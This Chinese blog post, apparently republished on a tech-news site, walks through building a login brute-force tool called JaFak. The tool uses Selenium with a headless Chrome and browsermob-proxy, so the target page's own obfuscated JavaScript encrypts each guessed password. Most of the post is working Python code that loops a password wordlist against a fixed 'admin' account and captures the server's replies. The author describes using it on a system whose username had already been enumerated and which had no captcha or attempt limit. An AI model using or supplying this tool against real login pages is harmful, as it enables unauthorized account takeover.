无视js前端加密的账号密码爆破工具JaFak怎么用,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
差点劝退
所以我决定搞点事情,把这个洞危害加大,我第一个想的就是爆破固定的用户名与密码,因为系统的登录页面,无论是你用户名错误还是密码错误,都返回“用户名和密码或错误!”,且没有验证码验证,也不限制次数,又因为我们枚举了正确的用户名,这个提示相当于变成了“密码错误,请重新输入”,就可以爆破固定用户名的密码了,burp启动,直接就冲了!
看到密码后面有%3D%3D,我逐渐兴奋,这不就是base64加密吗?直接python脚本,先base64加密,然后爆破,舒服,等着出密码就行了!
但是得先验证是否是base64加密,然后放入burp解码,我擦,解不出来,我刚开始还不相信,多试了几次,还真不是!
没事没事,冷静冷静!这玩意密码学嘛,这不有手就能把他的加密逻辑给逆出来,哎呀,我擦,我的手勒?
然后打开js,进行源码分析,漂亮,一个混淆把我思路绕城了钢丝球!
直接给我整劝退,再见项目,再见网安,再见打工人,回家种田去了。
天马行空
但是吧,我觉得难不倒我,我还可以抢救一下,因为我以前看过大佬,通过本地建立服务,去调用系统的js,然后为己用,但是也得找到加密函数的接口,bp上面就有插件,本地起服务,但是也得找到加密的入口函数!还是佩服那些前端调试硬刚的大佬,真是大佬!
因为我以前见过国外的某性能测试软件,不知道啥名字了,反正挺贵的,能自动控制浏览器进行性能设置,就好比一个机器人帮你输入,帮你提交,帮你访问网站,我觉得酷死了,然后我就想了想咋实现的,想起自动化,我肯定第一时间想起了python,Google一搜还真有!
有事找百度,google准没错!
开始奇幻之旅
为什么说奇幻勒?因为爬坑的故事真的一把鼻涕一把泪的,别说了,哭晕在厕所。
开始使用selenium框架……
Selenium 是什么?一句话,自动化测试工具。
它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium 的插件,那么便可以方便地实现 Web 界面的测试。换句话说叫 Selenium 支持这些浏览器驱动。
这里用的东西python+selenium+browsermobproxy
爱之初体验
我们先来一个小例子感受一下 Selenium,这里我们用 Chrome 浏览器来测试(当然你可以i缓存其他的浏览器不影响)。
注意在尝试这段代码之前,你得安装chrome浏览器。
from selenium import webdriver browser = webdriver.Chrome() browser.get('http://www.baidu.com/')
运行这段代码,它会自动打开chrome浏览器,然后打开http://www.baidu.com/这个网页,完全可视化,因为你会看到你的chrome浏览器打开浏览这个过程。
如果代码执行错误,浏览器没有打开,那么应该是没有装 Chrome 浏览器或者 Chrome 驱动没有配置在环境变量里。下载驱动,然后将驱动文件路径配置在环境变量即可
但是因为我们的测试需要提交爆破的用户名和密码打开网页是远远不够的,所以
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("http://www.python.org") assert "Python" in driver.title#等待加载结束 elem = driver.find_element_by_name("q") elem.send_keys("pycon") elem.send_keys(Keys.RETURN) print(driver.page_source)
这段代码会遍历打开http://www.python.org这个网页,等Python字体加载出来的时候,才遍历html 树状结构,找到name为q的标签,然后填入pycon,然后模拟点击
这里为什么要等待加载,因为可能网站有jq什么的加载没完全,再点击会失去原来的韵味。
根据实际需求的情况需要这段代码被我改成了这个样子:
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("xxxxxxxx") driver.find_element_by_css_selector("[class='class_name']").send_keys( username)#找到输入用户名的标签,把用户名输入进去 driver.find_element_by_css_selector( "[class='class_name']").send_keys(password)##找到输入密码的标签,把用户名输入进去 driver.find_element_by_css_selector(("[class='class_name']")).click()#找到登录标签,然后点击
这样就模拟了一次完整的用户名和密码输入,以及点击登录的效果.
坑点1:这里为什么要用css_selector,本来可以直接使用by_class_name的,但是因为我实际利用场景这里很特殊,class的名字之间有空格,使用by_class_name获取不到,如果class的名字没有空格,就可以直接获取,当然也可以通过标签的其他的属性访问到.
但是这样只能提交一次登录请求,而且还得必须清空上一次填写的账号密码,再改进
from selenium import webdriver from selenium.webdriver.common.keys import Keys driver = webdriver.Chrome() driver.get("xxxxxxxx") #循环加在这 driver.find_element_by_css_selector("[class='class_name']").send_keys( username)#找到输入用户名的标签,把用户名输入进去 driver.find_element_by_css_selector( "[class='class_name']").send_keys(password)##找到输入密码的标签,把用户名输入进去 driver.find_element_by_css_selector(("[class='class_name']")).click()#找到登录标签,然后点击 driver.find_element_by_css_selector("[class='class_name']").clear() driver.find_element_by_css_selector("[class='class_name']").clear()
再此基础上加个循环,可以批量爆破他的密码了,因为chrome浏览器已经自动加载调用js帮我们加密好了变成了密文,然后再发送过去,真是nice鸭!
但是有个问题,就是我无法捕获服务器的返回包,刚开始使用selenium抓取chromedriver的network
抓到的流量还得自己分析,就很难受,然后就是使用了browsermobproxy 来开启一个中间的代理,让我的chrome先去经过browermobproxy,然后browermobproxy抓取我的http流量,就可以拿到了服务器返回包了.就很nice!
Browsermob-Proxy是一个开源的Java编写的基于LittleProxy的代理服务。Browsermob-Proxy的具体流程有点类似与Flidder或Charles。即开启一个端口并作为一个标准代理存在,当HTTP客户端(浏览器等)设置了这个代理,则可以抓取所有的请求细节并获取返回内容。
安装:
直接到项目的github上下载打好的压缩包即可:https://github.com/lightbody/browsermob-proxy/releases,支持Linux和Windows。
安装对应的python包:
pip install browsermob-proxy下载好browsermob-proxy之后,放在指定一个目录,例如我这里是 D:/apk/browsermob-proxy-2.1.4-bin/browsermob-proxy-2.1.4这个路径下,所以下面示例代码如:
from browsermobproxy import Server server = Server("路径") server.start() proxy = server.create_proxy()
配置Proxy启动WebDriver:
from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--proxy-server={0}'.format(proxy.proxy)) driver = webdriver.Chrome(chrome_options=chrome_options)
值得注意的是:
browsermob-proxy起的Server默认是8080端口
可以直接进入到Server这个类里面去修改他的监听端口
直接上根据实际测试需求最终代码:
import os import argparse import sys from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from browsermobproxy import Server from selenium.webdriver.chrome.options import Options class Brower_scan(): def __init__(self,url,username,password_dir): self.url = url self.response_result = [] self.result={} self.init_browsermobproxy() self.init_chrome() self.init_dict_list(username,password_dir) self.result_handing() self.end_env() def init_dict_list(self,username,password_dir): with open(password_dir,"r") as f: self.password_list = f.readlines() for password in self.password_list: self.fill_out_a_form(username,password.replace('/n','')) self.wget_response() def init_browsermobproxy(self): self.server = Server("browsermob-proxy-2.1.4//bin//browsermob-proxy.bat")#browermobproxy文件的位置 self.server.start() self.proxy = self.server.create_proxy() self.chrome_options = Options() self.chrome_options.add_argument('--proxy-server={0}'.format(self.proxy.proxy)) self.chrome_options.add_argument('--headless')#这里加了一个参数,不启动chrome浏览器,省去了启动的时间,更快了 def init_chrome(self): try: self.chrome = webdriver.Chrome(chrome_options=self.chrome_options) self.proxy.new_har("ht_list2", options={'captureContent': True}) self.chrome.get(self.url) except Exception as e: print("Chrome浏览器启动失败!/n") return 0 def fill_out_a_form(self,username,password): self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-with-prefix']").send_keys( username) self.chrome.find_element_by_css_selector( "[class='ivu-input ivu-input-with-suffix']").send_keys(password) self.chrome.find_element_by_css_selector(("[class='ivu-btn ivu-btn-primary ivu-btn-large']")).click() self.chrome.find_element_by_css_selector("[class='iivu-input ivu-input-with-prefix']").clear() self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-with-suffix']").clear() def wget_response(self): result = self.proxy.har for entry in result['log']['entries']: _url = entry['request']['url'] print(_url) if "password" in _url and "username" in _url: _response = entry['response'] _content = _response['content'] # 获取接口返回内容 self.response_result.append(_response['content']['text']) self.result = dict(zip(self.password_list, self.response_result)) def result_handing(self): for key,value in self.result.items(): print("密码:{key} :结果:{result}".format(key=key,result=value)) def end_env(self): try: self.server.stop() self.chrome.quit() find_netstat = os.popen("netstat -ano | findstr 8080")#开的什么端口杀什么端口的进程 pid = find_netstat.read().split()[4] kail_pid = os.popen("taskkill /F /PID {PID}".format(PID=pid)) print(kail_pid.read()) return 1 except IndexError as e: return 0 Brower = Brower_scan(url,'admin','password.txt')
拿去实战爆破效果一浏览:
坑点二:
实际爆破效果不是这样的
密码输入依次为 123456 123456456789 123456455678955664 ……………………一直增大 ,好像缓存没有清楚一样,但是我实际确实clear了
这个问题把我搞了很久,百思不得其解。
最后,在部门大神的指点下,成功找到原因,并解决问题,果然听君一席话,胜读10年书,不愧是大佬!!
因为起的浏览器默认是记住上次密码的,当我输入一个admin账号的时候,在输入密码,然后浏览器记住了我的账号了,虽然错误,然后继续输入admin,然后浏览器会自动补全123456,然后我再输入了一个456789 结果就成了123456456789了….. 就这个理
更改只需要把顺序调换一下就行了:
self.chrome.find_element_by_css_selector("[class='class_name']").clear() self.chrome.find_element_by_css_selector("[class='class_name']").send_keys( username) self.chrome.find_element_by_css_selector("[class='class_name']").clear() self.chrome.find_element_by_css_selector( "[class='class_name']").send_keys(password) self.chrome.find_element_by_css_selector(("[class='class_name']")).click()
只需要在它补全之前,再次clear就行
坑点3:
如果登录标签使用click属性,因为元素被包裹的问题,click多了会报错!,解决办法是使用send_keys()
self.chrome.find_element_by_css_selector(("[class='class_name']")).send_keys(Keys.RETURN)
好了这里基本上解决了所以的坑点,但是实际的坑点很多,我只是把主要的几点放出来讲了一下,最终代码:
import os import argparse import sys from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from browsermobproxy import Server from selenium.webdriver.chrome.options import Options class Brower_scan(): def __init__(self,url,username,password_dir): self.url = url self.response_result = [] self.result={} self.init_browsermobproxy() self.init_chrome() self.init_dict_list(username,password_dir) self.result_handing() self.end_env() def init_dict_list(self,username,password_dir): with open(password_dir,"r") as f: self.password_list = f.readlines() for password in self.password_list: self.fill_out_a_form(username,password.replace('/n','')) self.wget_response() def init_browsermobproxy(self): self.server = Server("browsermob-proxy-2.1.4//bin//browsermob-proxy.bat")#browermobproxy文件的位置 self.server.start() self.proxy = self.server.create_proxy() self.chrome_options = Options() self.chrome_options.add_argument("–incognito") self.chrome_options.add_argument('--proxy-server={0}'.format(self.proxy.proxy)) self.chrome_options.add_argument('--headless')#这里加了一个参数,不启动chrome浏览器,省去了启动的时间,更快了 def init_chrome(self): try: self.chrome = webdriver.Chrome(chrome_options=self.chrome_options) self.proxy.new_har("test", options={'captureContent': True, 'captureHeaders': True}) self.chrome.get(self.url) except Exception as e: print("Chrome浏览器启动失败!/n") return 0 def fill_out_a_form(self,username,password): print(password) self.chrome.find_element_by_css_selector("[class='class_name']").clear()#清空username输入框的标签 self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-large ivu-input-with-prefix']").send_keys( username)#输入用户名 self.chrome.find_element_by_css_selector("[class='ivu-input ivu-input-large ivu-input-with-prefix ivu-input-with-suffix']").clear()#清空password输入框的标签 self.chrome.find_element_by_css_selector( "[class='class_name']").send_keys(password)#输入用户名 self.chrome.find_element_by_css_selector("[class='class_name']").send_keys(Keys.RETURN)#点击登录 def wget_response(self): result = self.proxy.har for entry in result['log']['entries']: _url = entry['request']['url'] if "password" in _url and "username" in _url: _response = entry['response'] _content = _response['content'] # 获取接口返回内容 self.response_result.append(_response['content']['text']) self.result = dict(zip(self.password_list, self.response_result)) def result_handing(self): for key,value in self.result.items(): print("密码:{key} :结果:{result}".format(key=key,result=value)) def end_env(self): try: self.server.stop() self.chrome.quit() find_netstat = os.popen("netstat -ano | findstr 8080")#开的什么端口杀什么端口的进程 pid = find_netstat.read().split()[4] kail_pid = os.popen("taskkill /F /PID {PID}".format(PID=pid)) print(kail_pid.read()) return 1 except IndexError as e: return 0 Brower = Brower_scan(url,'admin','password.txt')
这里仅仅把这种方式利用在密码爆破上面,但是实际的利用场景远不止这些,我觉得可以利用任何js加密,jq加密的,前端加密的场景,都可以用到,根本不需要去分析它的js前端加密代码,只需要把爆破行为模拟正常的用户行为就欧克了,不得不说,这种智能的方式真的太方便了!太香了!现在只支持通过class来查找输入框和登录按钮,如果需要通过id或其他标识,可以修改源码。
看完上述内容,你们掌握无视js前端加密的账号密码爆破工具JaFak怎么用的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!
原创文章,作者:506227337,如若转载,请注明出处:https://blog.ytso.com/222716.html